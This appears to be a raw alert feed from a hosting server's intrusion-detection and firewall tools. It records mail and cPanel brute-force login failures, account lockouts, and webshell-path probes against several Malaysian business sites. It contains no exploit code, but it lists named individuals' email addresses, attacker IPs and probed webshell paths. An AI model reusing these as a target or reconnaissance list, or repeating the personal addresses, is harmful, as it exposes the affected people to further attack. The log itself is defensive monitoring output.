2026-01-31 11:46:02 dovecot_login authenticator failed for H=(Byv63F) [158.94.209.22]:51185: 535 Incorrect authentication data (set_id=shamini.velayuthan@cofreth.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 2.58.56.77
country_id: 2750405
description:
Jan 31 11:46:06 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account norasikin.vpb@vc-b.com.my has been locked for the attacker IP 2.58.56.77


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 2.58.56.77
country_id: 2750405
description:
2026-01-31 11:46:08 dovecot_login authenticator failed for H=(w6VlxL2BJ) [2.58.56.77]:49399: 535 Incorrect authentication data (set_id=norasikin.vpb@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.142.146.167
country_id: 1835841
description:
2026-01-31 11:46:36 dovecot_login authenticator failed for H=([121.142.146.167]) [121.142.146.167]:35659: 535 Incorrect authentication data (set_id=admin@stonewld.com.my)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 13.75.54.243
country_id: 1819730
domain: imax.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/assets/images/index.php||SC:/home2/imaxcom/public_html/assets||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.209.22
country_id: 2750405
description:
Jan 31 11:46:18 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account shamini.velayuthan@cofreth.com.my has been locked for the attacker IP 158.94.209.22


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.185.158
country_id: 1269750
description:
2026-01-31 11:46:02 dovecot_login authenticator failed for H=([182.95.26.52]) [182.95.185.158]:40066: 535 Incorrect authentication data (set_id=zainuddin@astlog.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 2.58.56.77
country_id: 2750405
description:
2026-01-31 11:47:14 dovecot_login authenticator failed for H=(pg9Ppsrbe) [2.58.56.77]:56754: 535 Incorrect authentication data (set_id=norasikin.vpb@vc-b.com.my)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 13.75.54.243
country_id: 1819730
domain: box.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/images/index.php||SC:/home2/woh/box.com.my/images||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.209.22
country_id: 2750405
description:
2026-01-31 11:47:14 dovecot_login authenticator failed for H=(2QP0Qt) [158.94.209.22]:56035: 535 Incorrect authentication data (set_id=shamini.velayuthan@cofreth.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 2.58.56.77
country_id: 2750405
description:
Jan 31 11:47:12 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account norasikin.vpb@vc-b.com.my has been locked for the attacker IP 2.58.56.77


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 2.58.56.77
country_id: 2750405
description:
Jan 31 11:48:18 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account norasikin.vpb@vc-b.com.my has been locked for the attacker IP 2.58.56.77


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 2.58.56.77
country_id: 2750405
description:
2026-01-31 11:48:20 dovecot_login authenticator failed for H=(bSAd2ds) [2.58.56.77]:59903: 535 Incorrect authentication data (set_id=norasikin.vpb@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.159.195
country_id: 1733045
description:
2026-01-31 11:48:47 dovecot_login authenticator failed for H=([49.124.159.195]) [49.124.159.195]:60972: 535 Incorrect authentication data (set_id=www.facebook.comrnd@plomalite.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 13.75.54.243
country_id: 1819730
domain: box.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/wp-content/uploads/admin.php||SC:/home2/woh/box.com.my/wp-content/uploads/admin.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.50.5.94
country_id: 1269750
description:
2026-01-31 11:48:54 dovecot_login authenticator failed for H=([103.50.5.94]) [103.50.5.94]:56144: 535 Incorrect authentication data (set_id=www.facebook.comrnd)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.209.22
country_id: 2750405
description:
2026-01-31 11:48:08 dovecot_login authenticator failed for H=(Yz6ytO) [158.94.209.22]:63942: 535 Incorrect authentication data (set_id=shamini.velayuthan@cofreth.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.47.172.253
country_id: 2287781
description:
2026-01-31 11:49:25 dovecot_login authenticator failed for H=host-196-47-172-253.afnet.net [196.47.172.253]:42866: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.209.22
country_id: 2750405
description:
2026-01-31 11:49:02 dovecot_login authenticator failed for H=(UW7Kpy) [158.94.209.22]:54174: 535 Incorrect authentication data (set_id=shamini.velayuthan@cofreth.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 2.58.56.77
country_id: 2750405
description:
2026-01-31 11:49:08 dovecot_login authenticator failed for H=(UaNedwRGQ) [2.58.56.77]:61703: 535 Incorrect authentication data (set_id=norasikin.vpb@vc-b.com.my)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.142.210
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/portfolio/img/demos/img/img/news.php||SC:/home2/pspolycom/public_html/portfolio||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.209.22
country_id: 2750405
description:
Jan 31 11:49:36 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account shamini.velayuthan@cofreth.com.my has been locked for the attacker IP 158.94.209.22


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 180.188.253.150
country_id: 1269750
description:
2026-01-31 11:49:50 dovecot_login authenticator failed for H=([180.188.253.150]) [180.188.253.150]:52020: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 158.94.209.22
country_id: 2750405
description:
2026-01-31 11:49:56 dovecot_login authenticator failed for H=(lzVury) [158.94.209.22]:54801: 535 Incorrect authentication data (set_id=shamini.velayuthan@cofreth.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 201.46.124.0
country_id: 3686110
description:
2026-01-31 11:50:23 dovecot_login authenticator failed for H=(azteca-comunicaciones.com) [201.46.124.0]:1176: 535 Incorrect authentication data (set_id=jobstore.comchew)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.209.22
country_id: 2750405
description:
Jan 31 11:50:12 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account shamini.velayuthan@cofreth.com.my has been locked for the attacker IP 158.94.209.22


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.209.22
country_id: 2750405
description:
2026-01-31 11:50:14 dovecot_login authenticator failed for H=(7UmBM8acR) [158.94.209.22]:62793: 535 Incorrect authentication data (set_id=shamini.velayuthan@cofreth.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 2.58.56.77
country_id: 2750405
description:
2026-01-31 11:50:24 dovecot_login authenticator failed for H=(duceAIR) [2.58.56.77]:51589: 535 Incorrect authentication data (set_id=norasikin.vpb@vc-b.com.my)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.144.64
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/news-n-events/img/img/img/demos/img/img/img/img/clientele.php||SC:/home2/pspolycom/public_html/news-n-events||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 221.2.140.230
country_id: 1814991
description:
2026-01-31 11:50:13 dovecot_login authenticator failed for H=([218.56.121.58]) [221.2.140.230]:59844: 535 Incorrect authentication data (set_id=jobstore.comchew@nexuscollection.com)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.209.22
country_id: 2750405
description:
Jan 31 11:51:06 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account shamini.velayuthan@cofreth.com.my has been locked for the attacker IP 158.94.209.22


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 2.58.56.77
country_id: 2750405
description:
2026-01-31 11:51:11 dovecot_login authenticator failed for H=(52AW9h4G) [2.58.56.77]:65290: 535 Incorrect authentication data (set_id=norasikin.vpb@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.76.107.16
country_id: 1269750
description:
2026-01-31 11:51:15 dovecot_login authenticator failed for H=(nsg-static-16.107.76.182-airtel.com) [182.76.107.16]:35648: 535 Incorrect authentication data (set_id=www.facebook.comrnd)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 62.171.146.247
country_id: 2921044
description:
[2026-01-31 11:51:07 +0800] info [cpaneld] 62.171.146.247 - agpc "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user agpc (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.230.187
country_id: 1269750
description:
2026-01-31 11:51:16 dovecot_login authenticator failed for H=(nsg-corporate-187.230.187.122.airtel.in) [122.187.230.187]:60045: 535 Incorrect authentication data (set_id=info@stonewld.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 152.52.236.122
country_id: 1269750
description:
2026-01-31 11:51:49 dovecot_login authenticator failed for H=([152.52.236.122]) [152.52.236.122]:60114: 535 Incorrect authentication data (set_id=kitty.yap@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.0.228.11
country_id: 1269750
description:
2026-01-31 11:51:04 dovecot_login authenticator failed for H=([61.0.228.11]) [61.0.228.11]:38392: 535 Incorrect authentication data (set_id=www.facebook.comrnd@plomalite.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.174.34.49
country_id: 1269750
description:
2026-01-31 11:51:36 dovecot_login authenticator failed for H=([103.174.34.49]) [103.174.34.49]:51292: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.209.22
country_id: 2750405
description:
2026-01-31 11:51:08 dovecot_login authenticator failed for H=(rvaEwID0) [158.94.209.22]:56297: 535 Incorrect authentication data (set_id=shamini.velayuthan@cofreth.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 59.23.3.146
country_id: 1835841
description:
2026-01-31 11:52:04 dovecot_login authenticator failed for H=([59.23.3.146]) [59.23.3.146]:46930: 535 Incorrect authentication data (set_id=kitty.yap)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.209.22
country_id: 2750405
description:
Jan 31 11:52:18 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account shamini.velayuthan@cofreth.com.my has been locked for the attacker IP 158.94.209.22


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 2.58.56.77
country_id: 2750405
description:
2026-01-31 11:52:24 dovecot_login authenticator failed for H=(XYZpQTE) [2.58.56.77]:58841: 535 Incorrect authentication data (set_id=norasikin.vpb@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.209.22
country_id: 2750405
description:
2026-01-31 11:52:02 dovecot_login authenticator failed for H=(R0sIHI) [158.94.209.22]:55400: 535 Incorrect authentication data (set_id=shamini.velayuthan@cofreth.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.209.22
country_id: 2750405
description:
Jan 31 11:53:12 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account shamini.velayuthan@cofreth.com.my has been locked for the attacker IP 158.94.209.22


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.191.253.233
country_id: 1562822
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=208488 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 2.58.56.77
country_id: 2750405
description:
2026-01-31 11:53:08 dovecot_login authenticator failed for H=(fSXd0DCUU) [2.58.56.77]:49274: 535 Incorrect authentication data (set_id=norasikin.vpb)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.244.111.66
country_id: 1562822
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=28901516696291 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.209.22
country_id: 2750405
description:
2026-01-31 11:53:14 dovecot_login authenticator failed for H=(VKEa5J) [158.94.209.22]:61305: 535 Incorrect authentication data (set_id=shamini.velayuthan@cofreth.com.my)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 175.142.113.50
country_id: 1733045
description:
[2026-01-31 11:53:33 +0800] info [webmaild] 175.142.113.50 - purchase2@evergrown.com.my "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password incorrect


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 2.58.56.77
country_id: 2750405
description:
2026-01-31 11:54:14 dovecot_login authenticator failed for H=(tMxJy3f) [2.58.56.77]:54946: 535 Incorrect authentication data (set_id=norasikin.vpb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.209.22
country_id: 2750405
description:
2026-01-31 11:54:26 dovecot_login authenticator failed for H=(VSQgFtZyVO) [158.94.209.22]:56777: 535 Incorrect authentication data (set_id=shamini.velayuthan@cofreth.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.209.22
country_id: 2750405
description:
Jan 31 11:54:06 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account shamini.velayuthan@cofreth.com.my has been locked for the attacker IP 158.94.209.22


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 158.94.209.22
country_id: 2750405
description:
2026-01-31 11:54:08 dovecot_login authenticator failed for H=(KzZyMnT) [158.94.209.22]:56025: 535 Incorrect authentication data (set_id=shamini.velayuthan@cofreth.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.79.127.86
country_id: 1269750
description:
2026-01-31 11:55:52 dovecot_login authenticator failed for H=(dsl-ncr-dynamic-097.178.23.125.airtelbroadband.in) [182.79.127.86]:41274: 535 Incorrect authentication data (set_id=www.facebook.comrnd@plomalite.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 179.214.108.39
country_id: 3469034
description:
2026-01-31 11:55:30 dovecot_login authenticator failed for H=(b3d66c27.virtua.com.br) [179.214.108.39]:50162: 535 Incorrect authentication data (set_id=aziz@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 179.184.218.49
country_id: 3469034
description:
2026-01-31 11:55:47 dovecot_login authenticator failed for H=(imparhoteis.static.gvt.net.br) [179.184.218.49]:49010: 535 Incorrect authentication data (set_id=aziz)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 190.117.96.174
country_id: 3932488
description:
2026-01-31 11:55:37 dovecot_login authenticator failed for H=([190.117.96.174]) [190.117.96.174]:55188: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 2.58.56.77
country_id: 2750405
description:
2026-01-31 11:55:04 dovecot_login authenticator failed for H=(gJSHBf) [2.58.56.77]:61109: 535 Incorrect authentication data (set_id=norasikin.vpb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.149.235.152
country_id: 1835841
description:
2026-01-31 11:55:07 dovecot_login authenticator failed for H=([218.149.235.152]) [218.149.235.152]:49826: 535 Incorrect authentication data (set_id=admin@mkmetal.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 37.57.69.227
country_id: 690791
description:
2026-01-31 11:55:48 dovecot_login authenticator failed for H=([37.57.69.227]) [37.57.69.227]:48529: 535 Incorrect authentication data (set_id=info@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.209.22
country_id: 2750405
description:
2026-01-31 11:55:02 dovecot_login authenticator failed for H=(8qjJZh) [158.94.209.22]:50686: 535 Incorrect authentication data (set_id=shamini.velayuthan@cofreth.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.26.100.77
country_id: 1814991
description:
2026-01-31 11:55:57 dovecot_login authenticator failed for H=([111.26.100.77]) [111.26.100.77]:35034: 535 Incorrect authentication data (set_id=kitty.yap@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.145.163.164
country_id: 1814991
description:
2026-01-31 11:56:04 dovecot_login authenticator failed for H=([61.145.163.164]) [61.145.163.164]:50906: 535 Incorrect authentication data (set_id=www.facebook.comrnd)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.209.22
country_id: 2750405
description:
2026-01-31 11:56:14 dovecot_login authenticator failed for H=(owb9DmhB) [158.94.209.22]:55985: 535 Incorrect authentication data (set_id=shamini.velayuthan@cofreth.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 187.237.47.214
country_id: 3996063
description:
2026-01-31 11:56:18 dovecot_login authenticator failed for H=(customer-187-237-47-214.uninet-ide.com.mx) [187.237.47.214]:58958: 535 Incorrect authentication data (set_id=admin@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.228.231
country_id: 1269750
description:
2026-01-31 11:56:31 dovecot_login authenticator failed for H=(nsg-corporate-231.228.187.122.airtel.in) [122.187.228.231]:45858: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 88.84.209.146
country_id: 2017370
description:
2026-01-31 11:56:37 dovecot_login authenticator failed for H=([88.84.209.146]) [88.84.209.146]:58886: 535 Incorrect authentication data (set_id=jobstore.comchew@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 14.139.107.146
country_id: 1269750
description:
2026-01-31 11:57:00 dovecot_login authenticator failed for H=([14.139.107.146]) [14.139.107.146]:42086: 535 Incorrect authentication data (set_id=support@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 2.58.56.77
country_id: 2750405
description:
2026-01-31 11:56:20 dovecot_login authenticator failed for H=(0hYvZBDpp) [2.58.56.77]:52889: 535 Incorrect authentication data (set_id=norasikin.vpb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.107.36.18
country_id: 1269750
description:
2026-01-31 11:56:24 dovecot_login authenticator failed for H=([103.107.36.18]) [103.107.36.18]:45414: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 221.4.153.7
country_id: 1814991
description:
2026-01-31 11:56:10 dovecot_login authenticator failed for H=([221.4.153.7]) [221.4.153.7]:48231: 535 Incorrect authentication data (set_id=kitty.yap)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 193.169.52.67
country_id: 2017370
description:
2026-01-31 11:56:46 dovecot_login authenticator failed for H=([193.169.52.67]) [193.169.52.67]:35584: 535 Incorrect authentication data (set_id=jobstore.comchew)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.155.44
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/m.me/img/photos/druma.php||SC:/home/indfinitydesign/public_html/m.me||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.209.22
country_id: 2750405
description:
2026-01-31 11:57:08 dovecot_login authenticator failed for H=(Ude9U95yX) [158.94.209.22]:64574: 535 Incorrect authentication data (set_id=shamini.velayuthan@cofreth.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.228.113.27
country_id: 1835841
description:
2026-01-31 11:57:11 dovecot_login authenticator failed for H=([211.228.113.27]) [211.228.113.27]:55499: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 2.58.56.77
country_id: 2750405
description:
2026-01-31 11:57:06 dovecot_login authenticator failed for H=(LRQlI8bk) [2.58.56.77]:58416: 535 Incorrect authentication data (set_id=norasikin.vpb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 177.0.238.190
country_id: 3469034
description:
2026-01-31 11:57:52 dovecot_login authenticator failed for H=(177-0-238-190.bnut3703.dsl.brasiltelecom.net.br) [177.0.238.190]:53494: 535 Incorrect authentication data (set_id=mail.urban.myexport@urban.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 58.49.113.138
country_id: 1814991
description:
2026-01-31 11:57:53 dovecot_login authenticator failed for H=(www.safecleen.com) [58.49.113.138]:11357: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.182.99.92
country_id: 1655842
description:
2026-01-31 11:57:39 dovecot_login authenticator failed for H=([183.182.99.92]) [183.182.99.92]:48604: 535 Incorrect authentication data (set_id=admin@essemgroup.net)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 2.58.56.77
country_id: 2750405
description:
Jan 31 11:57:04 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account norasikin.vpb has been locked for the attacker IP 2.58.56.77


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.209.22
country_id: 2750405
description:
Jan 31 11:57:24 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account shamini.velayuthan@cofreth.com.my has been locked for the attacker IP 158.94.209.22


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.184.2
country_id: 1269750
description:
2026-01-31 11:58:01 dovecot_login authenticator failed for H=([152.52.238.55]) [182.95.184.2]:59270: 535 Incorrect authentication data (set_id=mail.urban.myexport)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 2.58.56.77
country_id: 2750405
description:
Jan 31 11:58:09 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account norasikin.vpb has been locked for the attacker IP 2.58.56.77


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 158.94.209.22
country_id: 2750405
description:
2026-01-31 11:58:21 dovecot_login authenticator failed for H=(cWj75by) [158.94.209.22]:61258: 535 Incorrect authentication data (set_id=shamini.velayuthan@cofreth.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.209.22
country_id: 2750405
description:
Jan 31 11:58:01 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account shamini.velayuthan@cofreth.com.my has been locked for the attacker IP 158.94.209.22


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.209.22
country_id: 2750405
description:
2026-01-31 11:58:03 dovecot_login authenticator failed for H=(DqbLgf8) [158.94.209.22]:56023: 535 Incorrect authentication data (set_id=shamini.velayuthan@cofreth.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 2.58.56.77
country_id: 2750405
description:
2026-01-31 11:58:11 dovecot_login authenticator failed for H=(TCI1mGyl) [2.58.56.77]:62715: 535 Incorrect authentication data (set_id=norasikin.vpb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.149.235.152
country_id: 1835841
description:
2026-01-31 11:59:06 dovecot_login authenticator failed for H=([218.149.235.152]) [218.149.235.152]:51968: 535 Incorrect authentication data (set_id=support@ajplantations.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.209.22
country_id: 2750405
description:
Jan 31 11:59:13 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account shamini.velayuthan@cofreth.com.my has been locked for the attacker IP 158.94.209.22


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.209.22
country_id: 2750405
description:
2026-01-31 11:59:15 dovecot_login authenticator failed for H=(V9sHwEY) [158.94.209.22]:60506: 535 Incorrect authentication data (set_id=shamini.velayuthan@cofreth.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.138.53.19
country_id: 1643084
description:
2026-01-31 11:59:20 dovecot_login authenticator failed for H=([103.138.53.19]) [103.138.53.19]:34492: 535 Incorrect authentication data (set_id=ysl)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 91.72.153.110
country_id: 290557
description:
2026-01-31 11:59:35 dovecot_login authenticator failed for H=([91.72.153.110]) [91.72.153.110]:53932: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.53.15.17
country_id: 2542007
description:
2026-01-31 11:59:35 dovecot_login authenticator failed for H=([102.53.15.17]) [102.53.15.17]:56378: 535 Incorrect authentication data (set_id=support@mkmetal.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 2.58.56.77
country_id: 2750405
description:
Jan 31 11:59:18 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account norasikin.vpb has been locked for the attacker IP 2.58.56.77


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 2.58.56.77
country_id: 2750405
description:
2026-01-31 11:59:20 dovecot_login authenticator failed for H=(9pUn6oE5fM) [2.58.56.77]:62807: 535 Incorrect authentication data (set_id=norasikin.vpb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.61.175.118
country_id: 1814991
description:
2026-01-31 11:59:49 dovecot_login authenticator failed for H=([111.61.175.118]) [111.61.175.118]:11856: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.196.31.2
country_id: 1835841
description:
2026-01-31 11:59:55 dovecot_login authenticator failed for H=([121.128.76.110]) [211.196.31.2]:36409: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.68.235.8
country_id: 1327865
description:
2026-01-31 11:59:13 dovecot_login authenticator failed for H=([103.68.235.8]) [103.68.235.8]:53098: 535 Incorrect authentication data (set_id=ysl@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 39.87.218.151
country_id: 1814991
description:
2026-01-31 12:00:55 dovecot_login authenticator failed for H=([39.87.218.151]) [39.87.218.151]:42504: 535 Incorrect authentication data (set_id=mail.urban.myexport)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.209.22
country_id: 2750405
description:
Jan 31 12:00:07 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account shamini.velayuthan@cofreth.com.my has been locked for the attacker IP 158.94.209.22


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.84.96.98
country_id: 1269750
domain: tujusetia.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/tujusetia.my/portfolios/sunway-dhill-residences/ HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 2.58.56.77
country_id: 2750405
description:
Jan 31 12:00:03 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account norasikin.vpb has been locked for the attacker IP 2.58.56.77


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 2.58.56.77
country_id: 2750405
description:
2026-01-31 12:00:05 dovecot_login authenticator failed for H=(aD4JMKf5) [2.58.56.77]:59869: 535 Incorrect authentication data (set_id=norasikin.vpb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.209.22
country_id: 2750405
description:
2026-01-31 12:00:09 dovecot_login authenticator failed for H=(hQbwlwqZQ) [158.94.209.22]:51312: 535 Incorrect authentication data (set_id=shamini.velayuthan@cofreth.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.72.59.106
country_id: 1835841
description:
2026-01-31 12:00:44 dovecot_login authenticator failed for H=([61.72.59.106]) [61.72.59.106]:59709: 535 Incorrect authentication data (set_id=mail.urban.myexport@urban.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 203.252.10.4
country_id: 1835841
description:
